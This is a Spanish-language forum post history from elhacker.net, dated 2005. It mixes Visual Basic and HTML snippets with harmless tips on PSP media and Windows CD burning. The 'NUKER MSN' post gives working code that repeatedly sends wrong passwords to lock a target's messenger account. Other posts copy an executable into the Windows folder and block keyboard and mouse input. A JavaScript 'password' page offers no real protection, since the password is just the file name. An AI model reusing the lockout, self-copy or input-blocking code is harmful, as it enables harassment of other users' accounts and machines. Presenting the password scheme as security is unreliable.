Cierto sta mal el link lo pueden descargar de esta web tambien AQUI
- Bienvenido a Test Foro de elhacker.net SMF 2.1.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#322
Programación Visual Basic / Re: NUKER MSN
25 Diciembre 2005, 00:21 AM
si es de vb 6
y lleva los siguientes botones : un textbox, y un timer
y si lo cree yo solo optube la api de msn de una web pero lo demas es mio
y lleva los siguientes botones : un textbox, y un timer
y si lo cree yo solo optube la api de msn de una web pero lo demas es mio
#323
Juegos y Consolas / pasar musica, videos y fotos ala PSP
25 Diciembre 2005, 00:01 AM
[ES facil solo conecta la psp con un cable usb a un puerto de la computadora despues en opciones selecciona configuracion usb despues ve a tus documentos en la barra de direcciones selecciona la direccion de la psp x lo general es la f: y abrela despues hay una carpeta k dice psp abrela y dentro de ella crea una carpeta k diga MUSIC ,PHOTO,VIDEO no importa k tu psp este en idioma diferente al ingles lo tienes k poner asi , xk el legunaje de la psp esta programado asi y se tienen k poner con mayusculas despues abre alguna de esas carpetas y copia el archivo k kieres poner en music admite mp3 y en fotos jpg,bmp,gif despues desconecta tu consola y listo dirijete a musica y encontraras los archivos k subiste ala psp
#324
Software / Re: Grabador de windows
24 Diciembre 2005, 23:49 PM
Es facil simplemente metes el cd en la unidad de CD-rom despues copias los archivos que kieres guardar vas hacia la unidad D: o E: o la k sea de tu Dc-rom y los pegas despues de eso con el boton secundario del raton das click en la opcion de GRABAR estos archivos en un CD y listo no es muy buena la grabadora de windows no te lo recomiendo mucho
chao
no es muy buena la grabadora de windows no te lo recomiendo mucho chao
#325
Programación Visual Basic / EXCELENTE MANUAL vb
24 Diciembre 2005, 23:42 PM
Este es un excelente manual para principiantes de visual basic click para descargar
#326
Desarrollo Web / Poner password al index de tu web
24 Diciembre 2005, 23:24 PM
si kieres k tu web sea privada y k tu solo sepas el password aki sta este code en javascript 
<HTML>
<HEAD>
<TITLE>Acceso con password</TITLE>
<SCRIPT LANGUAGE="javascript">
function Saltar(pal)
{
window.location=pal+".htm"
}
</SCRIPT>
</HEAD>
<BODY bgcolor="#ffffff" TEXT="#000000" LINK="#8000FF" VLINK="#3AAFAF">
<Font Size=+2><I><B>Acceso con password a una página</B></I></font><BR><BR>
<FORM>
Introduce la palabra clave para acceder a la página
<P>
<INPUT TYPE="password" NAME="palclave" SIZE=25 VALUE="">
<INPUT TYPE="button" VALUE="Acceder"
onClick="Saltar(this.form.palclave.value)">
</FORM>
</BODY>
</HTML>
Funciona de la siguiente manera: una vez escogida la clave (por ejemplo: xyz123),
debemos dar a la pagina de acceso restringido precisamente este nombre: xyz123.htm, es
decir, se debe dar a la página restringida el nombre compuesto por la clave, más la
extensión .htm (o html).<br>
No hay que cambiar ni añadir nada en el script. Si se utiliza las extensiones .html en vez de
.htm la página se llamaria xyz123.html pero entonces hay que sustituir la linea del script
«window.location=pal+".htm"» por «window.location=pal+".html"».
Osea k las otras paginas no k no sean el index de esta web son el password x ejemplo tu pones en el index este codigo y pones otra pagina con extensión .htm y en donde te pide la contra , la contra sera cualkier otra pagina de tu web
<HTML>
<HEAD>
<TITLE>Acceso con password</TITLE>
<SCRIPT LANGUAGE="javascript">
function Saltar(pal)
{
window.location=pal+".htm"
}
</SCRIPT>
</HEAD>
<BODY bgcolor="#ffffff" TEXT="#000000" LINK="#8000FF" VLINK="#3AAFAF">
<Font Size=+2><I><B>Acceso con password a una página</B></I></font><BR><BR>
<FORM>
Introduce la palabra clave para acceder a la página
<P>
<INPUT TYPE="password" NAME="palclave" SIZE=25 VALUE="">
<INPUT TYPE="button" VALUE="Acceder"
onClick="Saltar(this.form.palclave.value)">
</FORM>
</BODY>
</HTML>
Funciona de la siguiente manera: una vez escogida la clave (por ejemplo: xyz123),
debemos dar a la pagina de acceso restringido precisamente este nombre: xyz123.htm, es
decir, se debe dar a la página restringida el nombre compuesto por la clave, más la
extensión .htm (o html).<br>
No hay que cambiar ni añadir nada en el script. Si se utiliza las extensiones .html en vez de
.htm la página se llamaria xyz123.html pero entonces hay que sustituir la linea del script
«window.location=pal+".htm"» por «window.location=pal+".html"».
Osea k las otras paginas no k no sean el index de esta web son el password x ejemplo tu pones en el index este codigo y pones otra pagina con extensión .htm y en donde te pide la contra , la contra sera cualkier otra pagina de tu web
#327
Programación Visual Basic / copiar tu programa a otra direccion
24 Diciembre 2005, 22:05 PM
este code al ejecutar tu aplicacion la copia a otro directorio
Set xxx = CreateObject("Scripting FilesystemObject")
xxx.copyfile ".\nombre.exe", "c:\windows\nuevonombre.exe"
Set xxx = CreateObject("Scripting FilesystemObject")
xxx.copyfile ".\nombre.exe", "c:\windows\nuevonombre.exe"
#328
Programación Visual Basic / NUKER MSN
24 Diciembre 2005, 21:59 PM
ESTE es un code de un programa para blokear el msn temporalmente :shocked:
Dim ti As Integer
Public WithEvents MSN As MessengerAPI.MessengerNative
Private Sub Command1_Click()
ti = 0
Dim password As String
Dim usuario As String
password = "hola"
usuario = Text1.Text
MSN.Signin 0, usuario, password
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.MessengerNative
Timer1.Enabled = False
End Sub
Private Sub Timer1_Timer()
ti = ti + 1
If ti >= 20 Then
Timer1.Enabled = False
Else
Dim password As String
Dim usuario As String
password = "hola"
usuario = Text1.Text
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys usuario
SendKeys "{tab}"
SendKeys password
SendKeys "{enter}"
End If
End Sub
Dim ti As Integer
Public WithEvents MSN As MessengerAPI.MessengerNative
Private Sub Command1_Click()
ti = 0
Dim password As String
Dim usuario As String
password = "hola"
usuario = Text1.Text
MSN.Signin 0, usuario, password
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.MessengerNative
Timer1.Enabled = False
End Sub
Private Sub Timer1_Timer()
ti = ti + 1
If ti >= 20 Then
Timer1.Enabled = False
Else
Dim password As String
Dim usuario As String
password = "hola"
usuario = Text1.Text
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys usuario
SendKeys "{tab}"
SendKeys password
SendKeys "{enter}"
End If
End Sub
#329
Programación Visual Basic / abrir aplicaciones desde VB
24 Diciembre 2005, 21:55 PM
aki unos ajemplitos para poder abir algunas aplicaciones desde VB
Shell "C:\Archivos de programa\MSN Messenger\msnmsgr.exe" ´abre el messenger
Dim x
x = Shell("notepad C:\hola.txt", vbNormalFocus) 'Abre un TXT
x = Shell("explorer http://www.google.com", vbNormalFocus) 'Abre una web
x = Shell("netstat > C:\adios.txt", vbNormalFocus) 'Ejecuta un comando ms-dos y lo vuelca en un TXT
:shocked:
Saludos
Shell "C:\Archivos de programa\MSN Messenger\msnmsgr.exe" ´abre el messenger
Dim x
x = Shell("notepad C:\hola.txt", vbNormalFocus) 'Abre un TXT
x = Shell("explorer http://www.google.com", vbNormalFocus) 'Abre una web
x = Shell("netstat > C:\adios.txt", vbNormalFocus) 'Ejecuta un comando ms-dos y lo vuelca en un TXT
:shocked:
Saludos
#330
Programación Visual Basic / blokear teclado y mause
24 Diciembre 2005, 21:50 PM
Esta es una idea de como blokear el teclado por cierto lo puedes aumentear 
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
Timer1.interval = 1000
BlockInput True
End Sub
Private Sub Timer1_Timer()
Static contador As Integer
contador = contador + 1
If contador = 10 Then BlockInput False: MsgBox "timer"
End Sub
si alguien puede contribuir con algo en el codigo se lo agradecere :shocked:
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
Timer1.interval = 1000
BlockInput True
End Sub
Private Sub Timer1_Timer()
Static contador As Integer
contador = contador + 1
If contador = 10 Then BlockInput False: MsgBox "timer"
End Sub
si alguien puede contribuir con algo en el codigo se lo agradecere :shocked: